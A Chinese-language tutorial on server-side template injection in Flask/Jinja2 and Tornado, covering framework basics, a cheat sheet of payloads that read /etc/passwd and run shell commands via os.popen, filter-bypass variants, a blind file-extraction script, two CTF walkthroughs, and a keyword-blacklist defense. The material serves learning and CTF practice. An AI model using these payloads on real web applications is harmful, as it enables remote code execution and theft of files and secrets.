#############################
免责声明:本文仅作收藏学习之用,亦希望大家以遵守《网络安全法》相关法律为前提学习,切勿用于非法犯罪活动,对于恶意使用造成的损失,和本人及作者无关。
##############################
漏洞介绍 什么是SSTI?SSTI即Server Side Template Injection,服务器端模板注入。由于程序员代码编写不当,信任了用户的输入,将其作为模板内容的一部分,从而造成模板可控。通过模板,我们可以通过输入转换成特定的html文件,返回给浏览器,比如说Twig模板:
1
$output = $twig->render( $_GET['custom_email’] , array(“first_name” => $user.first_name) );
SSTI主要影响的框架有 python框架:jinja2、Tornado 、Django,php框架:Smarty、Twig,java框架:Jade、Velocity
SSTI in flask 下面讲解一些关于flask的相关知识
路由 route装饰器的作用是将函数与url绑定起来,比如说有如下代码:
1 2 3
@app.route('/') def index () : return 'hello word'
访问127.0.0.1:5000,会返回hello world
如果改一下,变成如下代码:
1 2 3
@app.route('/test') def index () : return 'hello word'
则访问127.0.0.1:5000/index,会返回hello world
当然也可以是动态的,或者可以使用int型,转换器有下面几种:
1 2 3 4 5 6 7 8 9 10 11
int 接受整数 float 同 int ,但是接受浮点数 path 和默认的相似,但也接受斜线 @app.route('/hello/<username>') def hello_user(username): return 'user:%s'%username @app.route('/post/<int:post_id>') def show_post(post_id): return 'Post %d' % post_id
渲染方法 flask中的模板渲染方法有两个:
render_template
render_template_string
render_template()是用来渲染一个指定的文件的,使用如下:
1
return render_template('index.html')
render_template_string则是用来渲染一个字符串的,使用如下:
1 2
str = 'aaa' return render_template_string(str)
模板渲染 1 2 3 4 5
├── app.py ├── static │ └── style.css └── templates └── index.html
flask是使用Jinja2来作为渲染引擎的,根目录下的templates目录是用来存放html的,也就是模板文件,render_template函数渲染的就是templates目录下的模板文件。但是模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参,比如:
index.html
1 2 3
<body> <h1> Hello, {{name}}!</h1> </body>
app.py
1 2 3 4
@app.route('/index') def user () : name = 'Glarcy' return render_template('index.html' ,name = name)
name参数经过渲染,访问页面时会出现Hello,Glarcy!
攻击方法 获取python的基本类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
#python2.7 '' .__class__.__mro__[2 ]{}.__class__.__bases__[0 ] ().__class__.__bases__[0 ] [].__class__.__bases__[0 ] request.__class__.__mro__[8 ] #python3.7 '' .__class__.__mro__[1 ]{}.__class__.__bases__[0 ] ().__class__.__bases__[0 ] [].__class__.__bases__[0 ] request.__class__.__mro__[1 ] #可以借助__getitem__绕过中括号限制: '' .__class__.__mro__.__getitem__(2 ){}.__class__.__bases__.__getitem__(0 ) ().__class__.__bases__.__getitem__(0 ) request.__class__.__mro__.__getitem__(8 )
文件操作 1 2 3 4 5 6
#找到file类 [].__class__.__bases__[0 ].__subclasses__()[40 ] #读文件 [].__class__.__bases__[0 ].__subclasses__()[40 ]('/etc/passwd' ).read() #写文件 [].__class__.__bases__[0 ].__subclasses__()[40 ]('/tmp' ).write('test' )
执行命令 1 2 3 4 5 6 7 8 9 10 11
#os类,可以直接执行命令 [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.func_globals.linecache.os.popen('id' ).read() #eval,__import__等的全局函数,可以利用此来执行命令: [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__('os').popen('id').read()' ) [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__.__builtins__.eval('__import__('os').popen('id').read()' ) [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__.__builtins__.__import__('os' ).popen('id' ).read() [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['__import__' ]('os' ).popen('id' ).read()
Bypass 过滤关键字
1
{{session['__cla' +'ss__' ].__base__.__base__.__base__['__subcla' +'sses__' ]()[163 ].__init__.__globals__['__bui' +'ltins__' ]['op' +'en' ]('/flag' ).read()}}
过滤[
1 2 3 4 5
#读文件: '' .__class__.__mro__.__getitem__(2 ).__subclasses__().pop(40 )('/etc/passwd' ).read()#执行命令: '' .__class__.__mro__.__getitem__(2 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen('ls' ).read()
过滤引号
1 2 3 4 5 6 7 8 9 10
#先获取chr函数,赋值给chr,后面拼接字符串就好了: {% set chr=().__class__.__bases__.__getitem__(0 ).__subclasses__()[59 ].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(chr(47 )%2 bchr(101 )%2 bchr(116 )%2 bchr(99 )%2 bchr(47 )%2 bchr(112 )%2 bchr(97 )%2 bchr(115 )%2 bchr(115 )%2 bchr(119 )%2 bchr(100 )).read() }} #借助request对象(推荐): {{ ().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(request.args.path).read() }}&path=/etc/passwd #执行命令: {% set chr=().__class__.__bases__.__getitem__(0 ).__subclasses__()[59 ].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen(chr(105 )%2 bchr(100 )).read() }} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤双下划线__
1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
相当于盲命令执行,利用curl将执行结果带出来
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
import requestsurl = 'http://127.0.0.1:8080/' def check (payload) : postdata = { 'exploit' :payload } r = requests.post(url, data=postdata).content return '~p0~' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!'$\'()*+,-./:;<=>?@[\\]^`{|}~\''_%' for i in xrange(0 ,100 ): for c in s: payload = '{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[' +str(i)+':' +str(i+1 )+'] == '' +c+'' %}~p0~{% endif %}' if check(payload): password += c break print password #payload: {% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1] == '0' %}~p0~{% endif %}
动手实践 例题:TokyoWesterns CTF 4th 2018 shrine
环境搭建 https://github.com/CTFTraining/westerns_2018_shrine
由于我是在自己服务器上搭的,所以我修改了docker-compose.yml中的ports
1 2
ports: - '0.0.0.0:your_port:5000'
进入目录启动
访问(比如说127.0.0.1:5000)
顺便提一句,这里的flag跟原题目的flag是不一样的,因为作了修改,如果你想更贴近题目你也可以在Dockerfile中修改
攻击 进去可以直接看到源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
import flaskimport osapp = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/') def index () : return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine (shrine) : def safe_jinja (s) : s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
从源代码可以看出
虽然self、config无法使用,但是我们可以使用__init__来列出所有的原始属性,即
1
{{app.__init__.__globals__.sys.modules.app.app.__dict__}}
除此之外,我看到别的师傅使用了调用current_app的办法
1 2 3 4 5
url_for {{url_for.__globals__['current_app'].config['FLAG']}} get_flashed_messages {{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
SSTI in tornado 动手实践 例题:护网杯-easy_tornado
环境搭建 https://github.com/CTFTraining/huwangbei_2018_easy_tornado
vps上搭建,docker-compose.yml修改如下
1 2 3 4 5 6 7 8 9 10
version: '2' services: web: image: ctftraining/huwangbei_2018_easy_tornado #build: . restart: always ports: - '0.0.0.0:your_port:5000'
进入目录启动
访问(比如说127.0.0.1:5000)
攻击 进去可以发现3个文件
进入welcome.txt看到
进入hints.txt看到
1 2
/hints.txt md5(cookie_secret+md5(filename))
即先将filename md5加密,再将cookie_secret和加密后的filename进行md5加密
进入flag.txt看到
1 2
/flag.txt flag in /fllllllllllllag
尝试访问/fllllllllllllag,发现错误
猜测msg处存在ssti,经过测试,确实存在
在tornado有个handler.settings对象,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,那么handler.settings就指向RequestHandler.application.settings了
使用handler.settings获得cookie_secret
构造filehash即可拿flag
防御 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
@app.errorhandler(404) def page_not_found(e): def safe_jinja(s): blacklist = ['_','import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals'] for no in blacklist: while True: if no in s: s =s.replace(no,'') else: break a = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in a])+s template = ''' {%% block body %%} <div class='center-content error'> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(safe_jinja(template)), 404
参考链接:
https://xz.aliyun.com/t/2908#toc-2
https:///index.php/archives/120/